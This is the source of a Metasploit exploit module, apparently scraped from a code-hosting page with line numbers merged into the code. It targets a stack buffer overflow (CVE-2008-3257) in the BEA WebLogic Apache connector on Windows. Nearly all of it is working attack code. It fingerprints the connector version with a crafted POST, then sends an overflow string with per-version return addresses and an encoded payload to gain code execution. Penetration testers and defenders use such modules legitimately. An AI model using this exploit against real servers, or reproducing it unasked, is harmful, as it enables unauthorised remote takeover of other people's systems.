Path: blob/master/modules/exploits/windows/http/bea_weblogic_post_bof.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78HttpFingerprint = { :pattern => [ /Apache/ ] }910include Msf::Exploit::Remote::HttpClient1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Oracle Weblogic Apache Connector POST Request Buffer Overflow',17'Description' => %q{18This module exploits a stack based buffer overflow in the BEA19Weblogic Apache plugin.2021The connector fails to properly handle specially crafted HTTP POST22requests, resulting a buffer overflow due to the insecure usage23of sprintf. Currently, this module works over Windows systems without DEP,24and has been tested with Windows 2000 / XP.2526In addition, the Weblogic Apache plugin version is fingerprinted with a POST27request containing a specially crafted Transfer-Encoding header.28},29'Author' => [30'KingCope', # Vulnerability Discovery and PoC31'juan vazquez', # Metasploit Module32],33'References' => [34[ 'CVE', '2008-3257' ],35[ 'OSVDB', '47096' ],36[ 'BID', '30273' ]37],38'DefaultOptions' => {39'EXITFUNC' => 'process',40},41'Privileged' => true,42'Platform' => 'win',43'Payload' => {44'Space' => 4000,45'BadChars' => "\x00\x0d\x0a\x3f"46},47'Targets' => [48[ 'Automatic', {} ],49[50'BEA WebLogic 8.1 SP6 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',51{52'Ret' => 0x10061f63, # push esp # ret # mod_wl_20.so53'Offset' => 410254}55],56[57'BEA WebLogic 8.1 SP5 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',58{59'Ret' => 0x10061473, # push esp # ret # mod_wl_20.so60'Offset' => 410261}62],63[64'BEA WebLogic 8.1 SP4 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',65{66'Ret' => 0x10020e31, # push esp # ret # mod_wl_20.so67'Offset' => 410268}69]70],71'DisclosureDate' => '2008-07-17',72'DefaultTarget' => 0,73'Notes' => {74'Reliability' => UNKNOWN_RELIABILITY,75'Stability' => UNKNOWN_STABILITY,76'SideEffects' => UNKNOWN_SIDE_EFFECTS77}78)79)8081register_options(82[83OptString.new('TARGETURI', [true, 'The URI path to a jsp or object provided by Weblogic', '/index.jsp']),84]85)86end8788def check89fingerprint = fingerprint_mod_wl90print_status "#{rhost}:#{rport} - #{fingerprint}"9192case fingerprint93when /Version found/94return Exploit::CheckCode::Appears95when /BEA WebLogic connector vulnerable/96return Exploit::CheckCode::Appears97when /BEA WebLogic connector undefined/98return Exploit::CheckCode::Detected99when /BEA WebLogic connector no vulnerable/, /BEA WebLogic connector not found/100return Exploit::CheckCode::Safe101end102end103104def exploit105# Autodetect BEA mod_wl version106my_target = get_target107108# Avoid the attack if the victim doesn't have the same setup we're targeting109if my_target.nil?110print_error("BEA mod_weblogic not supported")111return112end113114uri = normalize_uri(target_uri.path)115sploit = rand_text_alphanumeric(my_target['Offset'] - uri.length)116sploit << [my_target.ret].pack("V")117sploit << payload.encoded118119send_request_cgi({120'method' => 'POST',121'uri' => "#{uri} #{sploit}",122})123124handler125end126127def get_target128return target if target.name != 'Automatic'129130fingerprint = fingerprint_mod_wl131132case fingerprint133when /BEA WebLogic 8.1 SP6 - mod_wl_20.so/134return targets[1]135when /BEA WebLogic 8.1 SP5 - mod_wl_20.so/136return targets[2]137when /BEA WebLogic 8.1 SP4 - mod_wl_20.so/138return targets[3]139else140return nil141end142end143144def fingerprint_mod_wl145my_data = rand_text_alpha(rand(5) + 8)146res = send_request_cgi(147{148'method' => 'POST',149'uri' => normalize_uri(target_uri.path),150'headers' =>151{152'Transfer-Encoding' => my_data153},154'data' => "#{my_data.length}\r\n#{my_data}\r\n0\r\n",155}156)157158if res and res.code == 200 and res.body =~ /Weblogic Bridge Message/159# BEA WebLogic 8.1 SP6 - mod_wl_20.so160case res.body161when (/Build date\/time:<\/B> <I>Jun 16 2006 15:14:11/ and /Change Number:<\/B> <I>779586/)162return "Version found: BEA WebLogic 8.1 SP6 - mod_wl_20.so"163# BEA WebLogic 8.1 SP5 - mod_wl_20.so164when (/Build date\/time:<\/B> <I>Aug 5 2005 11:19:57/ and /Change Number:<\/B> <I>616810/)165return "Version found: BEA WebLogic 8.1 SP5 - mod_wl_20.so"166when (/Build date\/time:<\/B> <I>Oct 25 2004 09:25:23/ and /Change Number:<\/B> <I>452998/)167return "Version found: BEA WebLogic 8.1 SP4 - mod_wl_20.so"168# Check for dates prior to patch release169when /([A-Za-z]{3} [\s\d]{2} [\d]{4})/170build_date = Date.parse($1)171if build_date <= Date.parse("Jul 28 2008")172return "BEA WebLogic connector vulnerable"173else174return "BEA WebLogic connector not vulnerable"175end176else177return "BEA WebLogic connector undefined"178end179end180181return "BEA WebLogic connector not found"182end183end184185186